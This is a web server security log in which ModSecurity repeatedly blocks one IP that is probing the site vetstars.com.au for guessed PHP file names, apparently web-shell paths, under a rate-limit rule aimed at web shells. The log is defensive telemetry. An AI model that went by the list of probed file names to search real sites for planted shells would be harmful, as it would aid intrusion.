[Mon Jan 05 18:51:03.832629 2026] [:error] [pid 5534:tid 5543] [client 4.197.220.165:10998] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aVuXl5Ns9XmbR6unB0yl7AAAAAA"]
[Mon Jan 05 18:51:03.894649 2026] [:error] [pid 6680:tid 6690] [client 4.197.220.165:11115] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aVuXl6E58uNoazzTmx3ZNgAAAQg"]
[Mon Jan 05 18:51:03.974564 2026] [:error] [pid 54081:tid 54100] [client 4.197.220.165:11041] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aVuXl1L4jLgtF-b9w4dvoAAAAVA"]
[Mon Jan 05 18:51:04.066753 2026] [:error] [pid 5534:tid 5560] [client 4.197.220.165:11058] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aVuXmJNs9XmbR6unB0yl7QAAABE"]
[Mon Jan 05 18:51:04.205425 2026] [:error] [pid 6680:tid 6691] [client 4.197.220.165:10996] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aVuXmKE58uNoazzTmx3ZNwAAAQk"]
[Mon Jan 05 18:51:04.308154 2026] [:error] [pid 6680:tid 6704] [client 4.197.220.165:10975] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aVuXmKE58uNoazzTmx3ZOAAAARY"]
[Mon Jan 05 18:51:04.497560 2026] [:error] [pid 5536:tid 5597] [client 4.197.220.165:11116] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aVuXmARtMZNG6xI8yDzOkAAAAIA"]
[Mon Jan 05 18:51:04.556861 2026] [:error] [pid 6680:tid 6700] [client 4.197.220.165:11102] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "aVuXmKE58uNoazzTmx3ZOgAAARI"]
[Mon Jan 05 18:51:04.667281 2026] [:error] [pid 54081:tid 54092] [client 4.197.220.165:11187] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "aVuXmFL4jLgtF-b9w4dvogAAAUg"]
[Mon Jan 05 18:51:04.717272 2026] [:error] [pid 6680:tid 6683] [client 4.197.220.165:11066] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "aVuXmKE58uNoazzTmx3ZOwAAAQE"]
[Mon Jan 05 18:51:04.789088 2026] [:error] [pid 6680:tid 6705] [client 4.197.220.165:10959] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "aVuXmKE58uNoazzTmx3ZPAAAARc"]
[Mon Jan 05 18:51:04.872114 2026] [:error] [pid 5534:tid 5549] [client 4.197.220.165:10980] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxl.php"] [unique_id "aVuXmJNs9XmbR6unB0yl8AAAAAY"]
[Mon Jan 05 18:51:05.073509 2026] [:error] [pid 5632:tid 5664] [client 4.197.220.165:10978] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxl.php"] [unique_id "aVuXmYN3ZWvlOh-nbt-xFgAAANQ"]
[Mon Jan 05 18:51:05.251070 2026] [:error] [pid 5534:tid 5563] [client 4.197.220.165:11012] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxl.php"] [unique_id "aVuXmZNs9XmbR6unB0yl8QAAABQ"]
[Mon Jan 05 18:51:05.349412 2026] [:error] [pid 5534:tid 5562] [client 4.197.220.165:11086] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxl.php"] [unique_id "aVuXmZNs9XmbR6unB0yl8wAAABM"]
[Mon Jan 05 18:51:05.531630 2026] [:error] [pid 28407:tid 28434] [client 4.197.220.165:11015] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r.php"] [unique_id "aVuXmdercd3ptydUzM0xtQAAAZc"]
[Mon Jan 05 18:51:05.582731 2026] [:error] [pid 5534:tid 5554] [client 4.197.220.165:10903] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r.php"] [unique_id "aVuXmZNs9XmbR6unB0yl9gAAAAs"]
[Mon Jan 05 18:51:05.630727 2026] [:error] [pid 5534:tid 5561] [client 4.197.220.165:11009] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r.php"] [unique_id "aVuXmZNs9XmbR6unB0yl9wAAABI"]
[Mon Jan 05 18:51:05.693976 2026] [:error] [pid 28407:tid 28412] [client 4.197.220.165:11047] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r.php"] [unique_id "aVuXmdercd3ptydUzM0xtgAAAYI"]
[Mon Jan 05 18:51:05.754976 2026] [:error] [pid 5534:tid 5567] [client 4.197.220.165:10974] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aVuXmZNs9XmbR6unB0yl-AAAABg"]
[Mon Jan 05 18:51:05.862695 2026] [:error] [pid 28407:tid 28431] [client 4.197.220.165:11062] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aVuXmdercd3ptydUzM0xtwAAAZQ"]
[Mon Jan 05 18:51:05.907828 2026] [:error] [pid 6680:tid 6698] [client 4.197.220.165:11135] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aVuXmaE58uNoazzTmx3ZPwAAARA"]
[Mon Jan 05 18:51:05.957709 2026] [:error] [pid 5632:tid 5663] [client 4.197.220.165:11127] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aVuXmYN3ZWvlOh-nbt-xFwAAANM"]
[Mon Jan 05 18:51:06.036069 2026] [:error] [pid 5536:tid 5612] [client 4.197.220.165:11046] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js.php"] [unique_id "aVuXmgRtMZNG6xI8yDzOkQAAAI8"]
[Mon Jan 05 18:51:06.081816 2026] [:error] [pid 5535:tid 5592] [client 4.197.220.165:10960] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js.php"] [unique_id "aVuXmmnkedMjhVX0PTVdgwAAAFY"]
[Mon Jan 05 18:51:06.178824 2026] [:error] [pid 6680:tid 6682] [client 4.197.220.165:15566] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js.php"] [unique_id "aVuXmqE58uNoazzTmx3ZQAAAAQA"]
[Mon Jan 05 18:51:06.412851 2026] [:error] [pid 5536:tid 5618] [client 4.197.220.165:10994] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js.php"] [unique_id "aVuXmgRtMZNG6xI8yDzOkgAAAJU"]
[Mon Jan 05 18:51:06.775016 2026] [:error] [pid 28407:tid 28415] [client 4.197.220.165:10952] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file1.php"] [unique_id "aVuXmtercd3ptydUzM0xugAAAYU"]
[Mon Jan 05 18:51:06.893815 2026] [:error] [pid 5534:tid 5551] [client 4.197.220.165:11137] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file1.php"] [unique_id "aVuXmpNs9XmbR6unB0yl_AAAAAg"]
[Mon Jan 05 18:51:07.004075 2026] [:error] [pid 28407:tid 28411] [client 4.197.220.165:10958] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file1.php"] [unique_id "aVuXm9ercd3ptydUzM0xuwAAAYE"]
[Mon Jan 05 18:51:07.615629 2026] [:error] [pid 5535:tid 5584] [client 4.197.220.165:10973] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file1.php"] [unique_id "aVuXm2nkedMjhVX0PTVdhAAAAE4"]
[Mon Jan 05 18:51:07.879768 2026] [:error] [pid 5534:tid 5544] [client 4.197.220.165:10892] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mar.php"] [unique_id "aVuXm5Ns9XmbR6unB0yl_gAAAAE"]
[Mon Jan 05 18:51:08.225497 2026] [:error] [pid 5534:tid 5556] [client 4.197.220.165:10944] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mar.php"] [unique_id "aVuXnJNs9XmbR6unB0yl_wAAAA0"]
[Mon Jan 05 18:51:09.004109 2026] [:error] [pid 6680:tid 6702] [client 4.197.220.165:10919] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mar.php"] [unique_id "aVuXnaE58uNoazzTmx3ZQgAAARQ"]
[Mon Jan 05 18:51:09.321508 2026] [:error] [pid 5534:tid 5550] [client 4.197.220.165:11068] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mar.php"] [unique_id "aVuXnZNs9XmbR6unB0ymAwAAAAc"]
[Mon Jan 05 18:51:10.142294 2026] [:error] [pid 5536:tid 5613] [client 4.197.220.165:11044] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/123.php"] [unique_id "aVuXngRtMZNG6xI8yDzOlgAAAJA"]
[Mon Jan 05 18:51:10.374991 2026] [:error] [pid 5536:tid 5601] [client 4.197.220.165:10894] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/123.php"] [unique_id "aVuXngRtMZNG6xI8yDzOlwAAAIQ"]
[Mon Jan 05 18:51:10.462394 2026] [:error] [pid 5536:tid 5609] [client 4.197.220.165:10893] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/123.php"] [unique_id "aVuXngRtMZNG6xI8yDzOmAAAAIw"]
[Mon Jan 05 18:51:10.551089 2026] [:error] [pid 5534:tid 5565] [client 4.197.220.165:10891] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/123.php"] [unique_id "aVuXnpNs9XmbR6unB0ymBAAAABY"]
[Mon Jan 05 18:51:10.711291 2026] [:error] [pid 5632:tid 5667] [client 4.197.220.165:11061] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/321.php"] [unique_id "aVuXnoN3ZWvlOh-nbt-xHAAAANc"]
[Mon Jan 05 18:51:10.992248 2026] [:error] [pid 5632:tid 5646] [client 4.197.220.165:10963] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/321.php"] [unique_id "aVuXnoN3ZWvlOh-nbt-xHQAAAMI"]
[Mon Jan 05 18:51:11.271975 2026] [:error] [pid 5536:tid 5608] [client 4.197.220.165:11118] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/321.php"] [unique_id "aVuXnwRtMZNG6xI8yDzOmQAAAIs"]
[Mon Jan 05 18:51:11.388071 2026] [:error] [pid 28407:tid 28428] [client 4.197.220.165:10906] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/321.php"] [unique_id "aVuXn9ercd3ptydUzM0xvwAAAZE"]
[Mon Jan 05 18:51:11.624321 2026] [:error] [pid 28407:tid 28422] [client 4.197.220.165:11042] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aVuXn9ercd3ptydUzM0xwAAAAYs"]
[Mon Jan 05 18:51:11.780186 2026] [:error] [pid 5536:tid 5604] [client 4.197.220.165:11002] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aVuXnwRtMZNG6xI8yDzOmgAAAIc"]
[Mon Jan 05 18:51:12.063343 2026] [:error] [pid 6680:tid 6684] [client 4.197.220.165:10908] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aVuXoKE58uNoazzTmx3ZRwAAAQI"]
[Mon Jan 05 18:51:12.578284 2026] [:error] [pid 28407:tid 28413] [client 4.197.220.165:10964] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aVuXoNercd3ptydUzM0xwgAAAYM"]
[Mon Jan 05 18:51:12.865450 2026] [:error] [pid 5534:tid 5546] [client 4.197.220.165:10898] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aVuXoJNs9XmbR6unB0ymBwAAAAM"]
[Mon Jan 05 18:51:13.308241 2026] [:error] [pid 5632:tid 5644] [client 4.197.220.165:10970] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aVuXoYN3ZWvlOh-nbt-xHgAAAMA"]
[Mon Jan 05 18:51:13.601386 2026] [:error] [pid 6680:tid 6682] [client 4.197.220.165:10837] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aVuXoaE58uNoazzTmx3ZSgAAAQA"]
[Mon Jan 05 18:51:13.716607 2026] [:error] [pid 5534:tid 5560] [client 4.197.220.165:10905] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aVuXoZNs9XmbR6unB0ymCAAAABE"]
[Mon Jan 05 18:51:13.801277 2026] [:error] [pid 5535:tid 5593] [client 4.197.220.165:15552] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/al.php"] [unique_id "aVuXoWnkedMjhVX0PTVdigAAAFc"]
[Mon Jan 05 18:51:14.057000 2026] [:error] [pid 5536:tid 5615] [client 4.197.220.165:11071] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/al.php"] [unique_id "aVuXogRtMZNG6xI8yDzOngAAAJI"]
[Mon Jan 05 18:51:14.348759 2026] [:error] [pid 5535:tid 5573] [client 4.197.220.165:11163] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/al.php"] [unique_id "aVuXomnkedMjhVX0PTVdjAAAAEM"]
[Mon Jan 05 18:51:14.739545 2026] [:error] [pid 6680:tid 6706] [client 4.197.220.165:10945] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/al.php"] [unique_id "aVuXoqE58uNoazzTmx3ZSwAAARg"]
[Mon Jan 05 18:51:15.088444 2026] [:error] [pid 5535:tid 5591] [client 4.197.220.165:10999] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aVuXo2nkedMjhVX0PTVdjQAAAFU"]
[Mon Jan 05 18:51:15.556645 2026] [:error] [pid 54081:tid 54104] [client 4.197.220.165:11049] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aVuXo1L4jLgtF-b9w4dvpAAAAVQ"]
